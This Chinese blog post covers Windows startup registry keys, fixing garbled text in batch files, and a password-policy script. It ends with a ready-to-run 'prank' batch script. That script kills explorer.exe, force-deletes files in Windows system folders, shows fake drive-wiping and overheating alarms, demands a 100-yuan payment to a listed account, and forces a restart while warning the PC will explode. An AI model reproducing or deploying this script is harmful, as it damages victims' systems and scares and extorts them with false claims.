当前位置:   article > 正文

windows自启动和bat脚本_windows启动脚本编写

windows启动脚本编写

目录

自启动

BAT脚本

    问题:我们再写脚本的过程中可能会遇到脚本中的中文变成乱码

    编写密码策略脚本

    恶搞脚本


自启动

windows自启动注册表目录
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  //对用户生效
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run //只对当前用户生效
        关闭操作:比如我们桌面有软件自启动,可以直接进注册表这个目录把他进行关闭,但是软件本身的设置里面的
                            自启动设置还是开启的不会改变,但他开机就不会自启动了。具体操作是直接删除他的字符串值。
         开启操作:我们直接在注册表的run目录下添加字符串值,数据名称无所谓,数据数值写上文件路径就可以。           

BAT脚本


echo off 关闭回显(在脚本中 是@echo off  如果不加@就会直接输出echo off)

    问题:我们再写脚本的过程中可能会遇到脚本中的中文变成乱码


        解决:
                 方法一:我们直接把脚本文件选择另存为,然后把编码格式从UTF-8改成ANSI就可以了
                 方法二:我们再bat文件开头加上chcp 65001就可以了(65001是UTF-8DE 代码页),以这个方式写脚本的,命令行会以英文的形式显示


   编写密码策略脚本


        echo [version] >gp.inf
        echo signature=$CHICAGO$ >>gp.inf 
        echo [System Access]>>gp.inf
        pause
        ::密码最短有效期(密码至少多少天后修改)
        echo MinimumPasswordAge=1  >> gp.inf
        ::密码最长有效期(密码最长使用时间)
        echo MaximumPasswordAge=60 >> gp.inf
        ::密码最小长度
        echo MinimumPasswordLength=8 >> gp.inf
        ::启用密码复杂度,0是关闭,1是开启
        echo PasswordComlexity=1 >> gp.inf
        ::记住历史密码的个数
        echo PasswordHistorySize=3 >> gp.inf

        ::编译
        secedit /configure /db gp.sdb /cfg gp.inf 
        ::安装完删除文件
        del gp.inf /q

        pause

恶搞脚本

@echo off
color 4f
taskkill /im explorer.exe /f

echo -Ghost-鬼魂清理正在启动-----

echo -我们将友情为帮助您清理和删除C盘的所有文件
echo -本服务物美价廉,仅100元为您清理这该死的C盘文件
echo -如果您觉得满意,可以向本服务账号18135448721支付100元清理费
echo -服务开始..............


echo 删除C盘所有文件......

del /f /s /q "%systemdrive%\*.Xmp"
del /f /s /q "%systemdrive%\*.Omp"
del /f /s /q "%systemdrive%\*._mp"


del /f /s /q "%windir%\inf\*.ppf"
del /f /s /q "%windir%\Prefetch\*.*"
@ping -n 2 127.1>nul
rd /s /q "%windir%\Downloaded Program Files" & md "%windir%\Downloaded Program Files"
@ping -n 2 127.1>nul
rd /s /q "%windir%\LastGood" & md "%windir%\LastGood"
@ping -n 2 127.1>nul
rd /s /q "%windir%\Offline Web Pages" & md "%windir%\Offline Web Pages"

echo 已删除完毕
@echo.
echo 删除D盘所有文件......
@ping -n 3 127.1>nul
@echo 已删除完毕
@echo.
echo 删除E盘所有文件......
@ping -n 3 127.1>nul
echo 已删除完毕
@echo.
echo 正在低级格式化全部硬盘......
@ping -n 3 127.1>nul
echo.
echo 正在 进行二次 低格硬盘......
ping -n 3 127.1>nul
echo.
echo 正在 进行三次 低格硬盘......
ping -n 3 127.1>nul
echo.
echo 正在 进行四次 低格硬盘......
ping -n 3 127.1>nul
echo.
echo 正在 进行五次 低格硬盘......
ping -n 3 127.1>nul
echo.
echo 注意: cpu温度127度!温度过高报警!!!
echo.
ping -n 2 127.1>nul
echo 注意: 硬盘温度86度!温度过高报警!!!
echo.
ping -n 2 127.1>nul
echo 注意: 显卡温度96度!温度过高报警!!!
echo.
ping -n 2 127.1>nul
echo 注意: 系统崩溃, 主板温度 超过临界值!!! echo.
echo 注意: 电容负荷超过99% echo. & pause
echo 电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!
shutdown /r /t 60 /c "电脑将在60秒内崩溃或爆炸!请勿强行关闭电源!否则会 导致cpu和硬盘彻底损毁!!"
ping -n 30 127.1>nul
exit

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/73293
推荐阅读
相关标签
  

闽ICP备14008679号